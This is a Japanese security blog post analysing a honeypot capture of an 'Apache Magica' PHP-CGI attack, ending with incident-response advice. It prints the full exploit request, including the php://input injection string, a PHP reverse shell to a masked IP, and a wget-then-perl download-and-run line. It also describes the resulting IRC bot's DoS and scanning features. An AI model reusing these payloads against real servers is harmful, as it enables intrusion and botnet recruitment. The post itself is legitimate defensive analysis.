www.morihi-soc.net

誰もが安心して使える、安全なインターネットを目指して

ハニーポット観察記録(12)

Dionaea で最近,流行りの「Apache Magica」を利用したと考えられる攻撃を検知しました.

 

Apache Magica 自体の技術的な解説は,徳丸浩さんの下記の記事が大変参考になります.

CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました(徳丸浩の日記)

本記事では「Apache Magica」で攻撃の被害にあった場合にどうなるか,というポイントに注目し,ハニーポットで得られた攻撃の一例を紹介します.

 

次のデータが Dionaea で検知した攻撃内容です.(一部の情報を意図的に伏せています.また見やすさを優先し,適度に改行を入れ,URL デコード後の文字列を掲載しています.)

POST /cgi-bin/php5?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions=”” -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1
Host: 133.x.x.x
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded
Content-Length: 2277
Connection: close<?php
set_time_limit(0);
$ip =’217.x.x.x’;
$port = 113;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = ‘unset HISTFILE; unset HISTSIZE; uname -a; cd /tmp;wget example.org/ftp;perl ftp;rm -rf ftp;w; id; /bin/sh -i(以下,省略)

 

上記のログで狙われた脆弱性は紛れも無く,PHP CGI の脆弱性ですね.狙われたファイルは「/cgi-bin/php5」です.しっかりと魔法少女アパッチマギカの唱える呪文「-d cgi.force_redirect=0 -d cgi.redirect_status_env=0」も含まれています.もし脆弱な環境であればソウルジェムが濁る POST のデータ部分が実行されてしまいます.

さて問題の POST のデータ部分ですが,PHP のコードが含まれています.見やすいように改行,整形して,シェルの実行部分以後は長くなるため省略しています.

PHP コードの目的は2つあると考えられます.1つ目がリモート操作用のコネクションの作成,2つ目がシステムの情報を窃取し,ボット化させるです.1つ目のリモート操作は「$ip の IP アドレスに $port のポート番号で接続し,応答を待つ」という単純なものです.2つ目は $shell から始まる部分で,この行に突っ込んでみます.

unset HISTFILE; unset HISTSIZE;
攻撃者のよく使う手口の1つで,コマンドの実行履歴を残さないように設定変更しています.攻撃者の視点では少しでも長く不正なプログラムを動かしたいわけで,侵入した形跡を少しでも隠蔽しようとするでしょう.

uname -a;
OS の情報を取得しようとしています.

cd /tmp;wget example.org/ftp;perl ftp;rm -rf ftp;
不正なプログラムをダウンロードし,実行させる行です.httpd が動いているプロセスの権限では,ファイル作成ができない場合があるため,デフォルト設定であればどのユーザもファイル作成ができる /tmp というディレクトリに移動した後,不正なプログラムを wget コマンドでダウンロードしています.(意図的にドメイン名を変更しています.上記にアクセスしても,ファイルはダウンロードできません)
ダウンロードするファイルは perl で書かれたプログラムのため,perl コマンドでファイルを実行しています.最後にプログラムの解析を妨害するために,元ファイルを削除しています.

w;
現在,OS にログインしているユーザ一覧を取得しようとしています.(余談:なぜか攻撃者は,この w コマンドが好きなようです.SSH ハニーポットの Kippo で確認した限りだと,不正侵入した攻撃者の9割ぐらいは w コマンド実行してます)

id;
このプログラムを実行するユーザ情報を取得しようとしています.

/bin/sh -i
シェルを実行しようとしています.

以上が,システムの情報を窃取し,ボット化させる手口です.

せっかくなので,どのようなボットになるのか,ダウンロード・実行されるファイル(ftp)について解析してみました.結果は次のような機能がある IRC ボットでした.

  • 特定の IP アドレスの 8443/tcp に IRC 接続する.その際のニックネームは vn[ランダムな文字列]
  • C&Cからの命令を待ち受ける.受け取る命令として,次のものがプログラムされていることを確認した.
    • 特定ポートのスキャン(“21″,”22″,”23″,”25″,”80″,”113″,”135″,”445″,”1025″,”5000″,”6660″,”6661″,”6662″,”6663″,”6665″,”6666″,”6667″,”6668″,”6669″,”7000″,”8080″,”8018”)宛
    • DoS(TCP フラッド, UDP フラッド,http)
    • このボットプログラムのバージョン情報表示
    • 特定のキーワードで Google 検索し,検索結果で得られたサイトを攻撃する機能

 

非常に高機能なボットで,作りこまれています.ポートスキャンや DoS については,その他のボットでも比較的よく見かけます.しかしながら,Google 検索しその結果から攻撃対象を選定・攻撃するというコードまで含まれたものは,あまり見かけません.ガチであかんやつですね.

もし Web サーバが脆弱でこのボットに感染した場合は,確実に管理対象外のホストに対する攻撃に使用されるでしょう.

 

ちなみにこのファイル(ftp)を VirusTotal で調査した結果,ウイルスとしての検出率は25/44でした.

以上で「Apache Magica」を利用したと考えられる攻撃を受けた場合に,どんな被害に合うかの紹介を終わります.ただ上記の内容は,あくまでハニーポットで得られた攻撃の一例の紹介に過ぎません.同じ脆弱性を利用し異なる被害を受ける可能性も十分に考えらます.もし脆弱な環境であった場合は次のよう点で調査し,適切な処置をすることをオススメします.

  • http のアクセスログ・エラーログを確認する.
  • 不審なファイルが作成されていないか確認する.ファイルに対してウイルススキャンを実行する.
  • 不審なプロセスが動いていないか確認する.
  • 不審な通信が発生していないか確認する.(Web サーバからの IRC 通信やポートスキャン等)

 

決して魔女化しないように対策をしておくことが重要です.また事故前提とはよく言われますが,セキュリティインシデントが発生した際に気づく仕組みがあれば,さらに GOOD です.
以上です.

Written by 森久

11月 1st, 2013 at 11:25 pm